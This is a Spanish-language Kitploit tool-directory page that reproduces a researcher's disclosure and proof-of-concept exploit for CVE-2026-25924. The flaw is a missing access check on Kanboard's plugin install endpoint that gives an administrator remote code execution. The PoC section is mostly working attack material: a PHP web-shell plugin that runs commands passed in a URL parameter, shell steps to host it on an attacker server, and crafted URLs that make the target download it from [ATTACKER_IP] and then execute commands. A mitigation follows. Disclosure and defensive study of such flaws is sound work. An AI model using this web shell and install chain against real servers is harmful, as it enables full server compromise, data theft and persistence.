Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-25924 — Prueba de concepto del exploit para CVE-2026-25924, que demuestra la ejecución remota de código a nivel administrativo en Kanboard mediante una comprobación de control de acceso ausente en la instalación de complementos. | Kitploit
Herramientas/GitHubGitHub/drkim-dev/cve-2026-25924
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubdrkim-dev/cve-2026-25924

CVE-2026-25924

Prueba de concepto del exploit para CVE-2026-25924, que demuestra la ejecución remota de código a nivel administrativo en Kanboard mediante una comprobación de control de acceso ausente en la instalación de complementos.

Ver Repositorio
22hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC CVE-2026-25924 - RCE Administrativo en Kanboard

Prueba de Concepto para RCE Administrativo mediante Bypass de Control de Seguridad

Divulgación: Reportado originalmente por mí a través de GHSA-grch-p7vf-vc4f

⚠️ Solo para uso autorizado en pentesting/investigación.

Información de la Vulnerabilidad

CampoValor
ID CVECVE-2026-25924
Severidad🔴 Alta
Puntuación CVSS8.4
Vector CVSS[CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H]
CWECWE-863: Autorización Incorrecta
Producto AfectadoKanboard ≤ 1.2.49
Versión Parcheada1.2.50
AvisoGHSA-grch-p7vf-vc4f

CVE-2026-25924: Control de Acceso Ausente en la Instalación de Plugins conduce a RCE Administrativo

1. Resumen

Una vulnerabilidad de bypass de control de seguridad en Kanboard v1.2.49 permite a un administrador autenticado lograr una Ejecución Remota de Código (RCE) completa. Aunque la aplicación oculta correctamente la interfaz de instalación de plugins cuando la configuración PLUGIN_INSTALLER está establecida en false, el endpoint backend subyacente no verifica esta configuración de seguridad. Un atacante puede explotar esta omisión para forzar al servidor a descargar e instalar un plugin malicioso, lo que conduce a la ejecución arbitraria de código.

  • Tipo de Vulnerabilidad: CWE-863 (Autorización Incorrecta) / CWE-94 (Inyección de Código)
  • Severidad: Alta (RCE Administrativo)
  • Versión Afectada: Kanboard <= v1.2.49

2. Detalles

1
2

Kanboard utiliza una constante de seguridad PLUGIN_INSTALLER para restringir la capacidad de instalar plugins desde URLs remotas. Esto se define en app/constants.php:

Archivo: app/constants.php

root@kitploit:~
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons

La aplicación verifica correctamente esta configuración en los métodos de renderizado de la interfaz de usuario del PluginController, como show() y directory(), utilizando Installer::isConfigured():

Archivo: app/Controller/PluginController.php

root@kitploit:~
22:     public function show()
23:     {
...
28:             'is_configured' => Installer::isConfigured(),
29:         )));
30:     }

Sin embargo, el método install() en el mismo controlador no realiza esta verificación. Solo valida el token CSRF antes de proceder a descargar e instalar un plugin desde una URL arbitraria proporcionada en el parámetro archive_url.

Código Vulnerable en app/Controller/PluginController.php:

root@kitploit:~
56:     public function install()
57:     {
58:         $this->checkCSRFParam();
59:         $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60: 
61:         try {
62:             $installer = new Installer($this->container);
63:             $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64:             $this->flash->success(t('Plugin installed successfully.'));
65:         } catch (PluginInstallerException $e) {
66:             $this->flash->failure($e->getMessage());
67:         }
68: 
69:         $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70:     }

Dado que Installer::install() tampoco verifica la constante PLUGIN_INSTALLER, un administrador puede eludir la restricción prevista simplemente accediendo al endpoint directamente con un token CSRF válido. Una vez instalado, el plugin malicioso es cargado y ejecutado automáticamente por el Kanboard\Core\Plugin\Loader, otorgando al atacante RCE completo.

3. Prueba de Concepto (PoC)

Paso 1: Crear un Plugin Malicioso

Crea un directorio llamado Exploit con un archivo Plugin.php:

root@kitploit:~
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;

class Plugin extends Base {
    public function initialize() {
        // Web shell listener
        if (isset($_GET['cmd'])) {
            system($_GET['cmd']);
        }
    }
}

Paso 2: Alojar el Archivo del Plugin

Comprime la carpeta y alójala en un servidor controlado por el atacante:

root@kitploit:~
zip -r exploit.zip Exploit/
python3 -m http.server 80
8

Paso 3: Desencadenar la Instalación

Inicia sesión en Kanboard como administrador. Obtén tu csrf_token del código fuente de la página y navega a: http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN] 3 image image

Paso 4: Ejecutar Comandos Remotos

Usa el parámetro cmd para ejecutar comandos arbitrarios del sistema: http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id

6
7

4. Impacto

Esta vulnerabilidad permite a un administrador eludir las restricciones de seguridad impuestas por el host. Al lograr RCE, el atacante puede:

  • Leer/escribir archivos arbitrarios en el servidor (por ejemplo, /etc/passwd, config.php).
  • Acceder y volcar toda la base de datos.
  • Moverse lateralmente hacia la red interna.
  • Mantener acceso persistente mediante una web shell o reverse shell.

5. Mitigación Recomendada

Agrega una verificación de Installer::isConfigured() al inicio de los métodos install() y update() en app/Controller/PluginController.php:

root@kitploit:~
if (! Installer::isConfigured()) {
    throw new AccessForbiddenException();
}
Descargar herramienta